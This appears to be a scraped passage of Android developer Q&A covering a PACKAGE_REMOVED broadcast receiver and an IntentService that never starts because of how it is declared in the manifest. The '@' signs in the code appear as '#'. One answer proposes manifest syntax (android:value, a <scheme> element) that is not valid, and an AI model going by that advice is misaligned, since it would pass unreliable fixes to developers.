public class PackageBroadcastReceiver extends BroadcastReceiver
{
#Override
public void onReceive(Context context, Intent intent)
{
final String action = intent.getAction();
if (Intent.ACTION_PACKAGE_REMOVED.equals(action))
{
File file = new File("/storage/sdcard0/zzz/yyy");
if (file.exists())
{
file.delete();
}
boolean createDir = new File("/storage/sdcard0/zzz/").mkdirs();
Log.d("XXX", "XXXX createDir=" + createDir);
try
{
file.createNewFile();
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
}
Do I miss something ?
Try changing this...
<intent-filter>
<action android:name="android.intent.action.PACKAGE_REMOVED" />
<data android:scheme="package" />
to this...
<intent-filter>
<action android:value="android.intent.action.PACKAGE_REMOVED" />
<scheme android:value="package" />
For more information, see this link on receiving package broadcast intents...
https://groups.google.com/forum/#!topic/android-developers/aX5-fMbdPR8
I am trying to send an Intent from the onCreate in an Activity to start an IntentService. However the IntentService's onHandleIntent is never being received. I have tried changing around the Manifest with Intent-filters but nothing seems to be working. No exceptions are being thrown, but the IntentService is simply not called.
Here is the onCreate
#Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
db = new TwitterDB(this);
String[] columns = new String[1];
columns[0] = TwitterDB.TEXT;
tAdapter = new SimpleCursorAdapter(this, 0, null, columns, null, 0);
tweets = (ListView)findViewById(R.id.listtwitter);
tweets.setAdapter(tAdapter);
Intent intent = new Intent(this, SyncService.class);
intent.putExtra("action", SyncService.TWITTER_SYNC);
this.startService(intent);
}
Here is the creator and onHandleIntent of the IntentService class, I know it is not being called because logcat never shows "Retrieved intent". The constructor is not called either (There was a log call in there, but I removed it.
public SyncService(){
super("SyncService");
twitterURI = Uri.parse(TWITTER_URI);
Log.i("SyncService", "Constructed");
}
#Override
public void onHandleIntent(Intent i){
int action = i.getIntExtra("action", -1);
Log.i("SyncService", "Retrieved intent");
switch (action){
case TWITTER_SYNC:
try{
url = new URL(twitterString);
conn = (HttpURLConnection)url.openConnection();
syncTwitterDB();
conn.disconnect();
}catch(MalformedURLException e){
Log.w("SyncService", "Twitter URL is no longer valid.");
e.printStackTrace();
}catch(IOException e){
Log.w("SyncService", "Twitter connection could not be established.");
e.printStackTrace();
}
break;
default:;
// invalid request
}
}
And here is the Manifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.twitter"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="15" />
<uses-permission android:name="android.permission.INTERNET"/>
<application android:icon="#drawable/ic_launcher"
android:label="#string/app_name" >
<activity
android:name=".TwitterTwoActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<service android:name="SyncService"/>
</activity>
</application>
</manifest>
Move your service declaration outside of the scope of the TwitterTwoActivity in the XML file, as I have done here:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.twitter"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="15" />
<uses-permission android:name="android.permission.INTERNET"/>
<application android:icon="#drawable/ic_launcher"
android:label="#string/app_name" >
<activity
android:name=".TwitterTwoActivity"
android:label="#string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="SyncService"/>
</application>
</manifest>
You need to define the path to the service in your manifest, simply putting the name is not sufficient.
Change
<service android:name="SyncService"/>
to
<service android:name=".SyncService"/>
if SyncService is in the root of your package, add respective folder before .SyncService if needed.